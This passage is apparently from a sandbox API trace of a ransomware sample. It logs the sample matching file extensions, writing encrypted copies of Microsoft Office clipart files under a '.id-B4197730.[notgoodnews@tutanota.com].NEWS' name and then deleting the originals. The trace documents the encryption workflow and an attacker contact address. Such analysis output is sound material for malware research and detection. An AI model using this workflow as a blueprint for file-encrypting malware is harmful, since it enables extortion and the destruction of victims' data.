(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.982] lstrlenW (lpString=".doc") returned 4 [0167.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.982] lstrlenW (lpString=".docx") returned 5 [0167.982] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0167.983] lstrlenW (lpString=".pdf") returned 4 [0167.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.983] lstrlenW (lpString=".xls") returned 4 [0167.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.983] lstrlenW (lpString=".xlsx") returned 5 [0167.983] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0167.983] lstrlenW (lpString=".ppt") returned 4 [0167.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.983] lstrlenW (lpString=".zip") returned 4 [0167.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.983] lstrlenW (lpString=".rar") returned 4 [0167.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.983] lstrlenW (lpString=".bz2") returned 4 [0167.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.983] lstrlenW (lpString=".7z") returned 3 [0167.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.983] lstrlenW (lpString=".dbf") returned 4 [0167.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.983] lstrlenW (lpString=".1cd") returned 4 [0167.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.983] lstrlenW (lpString=".jpg") returned 4 [0167.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.984] lstrlenW (lpString=".doc") returned 4 [0167.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.984] lstrlenW (lpString=".docx") returned 5 [0167.984] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0167.984] lstrlenW (lpString=".pdf") returned 4 [0167.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.984] lstrlenW (lpString=".xls") returned 4 [0167.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.984] lstrlenW (lpString=".xlsx") returned 5 [0167.984] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0167.984] lstrlenW (lpString=".ppt") returned 4 [0167.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.984] lstrlenW (lpString=".zip") returned 4 [0167.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.984] lstrlenW (lpString=".rar") returned 4 [0167.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.984] lstrlenW (lpString=".bz2") returned 4 [0167.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.984] lstrlenW (lpString=".7z") returned 3 [0167.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.984] lstrlenW (lpString=".dbf") returned 4 [0167.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.984] lstrlenW (lpString=".1cd") returned 4 [0167.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.985] lstrlenW (lpString=".jpg") returned 4 [0167.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.985] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.985] lstrlenW (lpString="J0099183.WMF") returned 12 [0167.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0167.986] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4946) returned 1 [0167.986] CloseHandle (hObject=0x474) returned 1 [0167.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220 [0167.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0167.987] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.987] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.988] GetLastError () returned 0x0 [0167.988] ReadFile (in: hFile=0x474, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1352, lpOverlapped=0x0) returned 1 [0168.011] WriteFile (in: hFile=0x454, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1360, lpOverlapped=0x0) returned 1 [0168.012] ReadFile (in: hFile=0x474, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.012] WriteFile (in: hFile=0x454, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.012] SetEndOfFile (hFile=0x454) returned 1 [0168.019] CloseHandle (hObject=0x454) returned 1 [0168.020] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.020] SetEndOfFile (hFile=0x474) returned 1 [0168.034] CloseHandle (hObject=0x474) returned 1 [0168.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0168.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.157] lstrlenW (lpString=".doc") returned 4 [0168.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.157] lstrlenW (lpString=".docx") returned 5 [0168.157] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0168.157] lstrlenW (lpString=".pdf") returned 4 [0168.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.157] lstrlenW (lpString=".xls") returned 4 [0168.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.157] lstrlenW (lpString=".xlsx") returned 5 [0168.157] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0168.157] lstrlenW (lpString=".ppt") returned 4 [0168.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.157] lstrlenW (lpString=".zip") returned 4 [0168.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.157] lstrlenW (lpString=".rar") returned 4 [0168.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.157] lstrlenW (lpString=".bz2") returned 4 [0168.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.157] lstrlenW (lpString=".7z") returned 3 [0168.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.157] lstrlenW (lpString=".dbf") returned 4 [0168.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.158] lstrlenW (lpString=".1cd") returned 4 [0168.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.158] lstrlenW (lpString=".jpg") returned 4 [0168.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.158] lstrlenW (lpString=".doc") returned 4 [0168.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.158] lstrlenW (lpString=".docx") returned 5 [0168.158] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0168.158] lstrlenW (lpString=".pdf") returned 4 [0168.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.158] lstrlenW (lpString=".xls") returned 4 [0168.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.158] lstrlenW (lpString=".xlsx") returned 5 [0168.158] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0168.158] lstrlenW (lpString=".ppt") returned 4 [0168.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.158] lstrlenW (lpString=".zip") returned 4 [0168.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.158] lstrlenW (lpString=".rar") returned 4 [0168.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.158] lstrlenW (lpString=".bz2") returned 4 [0168.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.158] lstrlenW (lpString=".7z") returned 3 [0168.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.159] lstrlenW (lpString=".dbf") returned 4 [0168.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.159] lstrlenW (lpString=".1cd") returned 4 [0168.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0168.159] lstrlenW (lpString=".jpg") returned 4 [0168.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.159] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0168.159] lstrlenW (lpString="J0099186.JPG") returned 12 [0168.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0168.160] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=16738) returned 1 [0168.160] CloseHandle (hObject=0x54c) returned 1 [0168.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0168.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0168.161] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.161] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0168.162] GetLastError () returned 0x0 [0168.163] ReadFile (in: hFile=0x54c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x4162, lpOverlapped=0x0) returned 1 [0168.192] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4170, lpOverlapped=0x0) returned 1 [0168.193] ReadFile (in: hFile=0x54c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.194] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.194] SetEndOfFile (hFile=0x4f4) returned 1 [0168.194] CloseHandle (hObject=0x4f4) returned 1 [0168.194] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.194] SetEndOfFile (hFile=0x54c) returned 1 [0168.204] CloseHandle (hObject=0x54c) returned 1 [0168.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0168.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.206] lstrlenW (lpString=".doc") returned 4 [0168.206] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.206] lstrlenW (lpString=".docx") returned 5 [0168.206] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0168.206] lstrlenW (lpString=".pdf") returned 4 [0168.206] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.206] lstrlenW (lpString=".xls") returned 4 [0168.206] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.206] lstrlenW (lpString=".xlsx") returned 5 [0168.206] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0168.206] lstrlenW (lpString=".ppt") returned 4 [0168.207] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.207] lstrlenW (lpString=".zip") returned 4 [0168.207] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.207] lstrlenW (lpString=".rar") returned 4 [0168.207] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.207] lstrlenW (lpString=".bz2") returned 4 [0168.207] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.207] lstrlenW (lpString=".7z") returned 3 [0168.207] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.207] lstrlenW (lpString=".dbf") returned 4 [0168.207] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.207] lstrlenW (lpString=".1cd") returned 4 [0168.207] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.207] lstrlenW (lpString=".jpg") returned 4 [0168.207] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.207] lstrlenW (lpString=".doc") returned 4 [0168.207] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.207] lstrlenW (lpString=".docx") returned 5 [0168.207] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0168.207] lstrlenW (lpString=".pdf") returned 4 [0168.207] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.208] lstrlenW (lpString=".xls") returned 4 [0168.208] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.208] lstrlenW (lpString=".xlsx") returned 5 [0168.208] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0168.208] lstrlenW (lpString=".ppt") returned 4 [0168.208] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.208] lstrlenW (lpString=".zip") returned 4 [0168.208] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.208] lstrlenW (lpString=".rar") returned 4 [0168.208] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.208] lstrlenW (lpString=".bz2") returned 4 [0168.208] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.208] lstrlenW (lpString=".7z") returned 3 [0168.208] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.208] lstrlenW (lpString=".dbf") returned 4 [0168.208] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.208] lstrlenW (lpString=".1cd") returned 4 [0168.208] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0168.208] lstrlenW (lpString=".jpg") returned 4 [0168.208] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.209] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0168.209] lstrlenW (lpString="J0099189.JPG") returned 12 [0168.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0168.209] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=8076) returned 1 [0168.210] CloseHandle (hObject=0x54c) returned 1 [0168.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0168.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0168.210] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.211] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0168.211] GetLastError () returned 0x0 [0168.212] ReadFile (in: hFile=0x54c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0168.350] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0168.352] ReadFile (in: hFile=0x54c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.352] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.352] SetEndOfFile (hFile=0x4f4) returned 1 [0168.352] CloseHandle (hObject=0x4f4) returned 1 [0168.353] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.353] SetEndOfFile (hFile=0x54c) returned 1 [0168.357] CloseHandle (hObject=0x54c) returned 1 [0168.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0168.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.358] lstrlenW (lpString=".doc") returned 4 [0168.358] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.359] lstrlenW (lpString=".docx") returned 5 [0168.359] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0168.359] lstrlenW (lpString=".pdf") returned 4 [0168.359] lstrcmpiW (lpString1=".pdf", 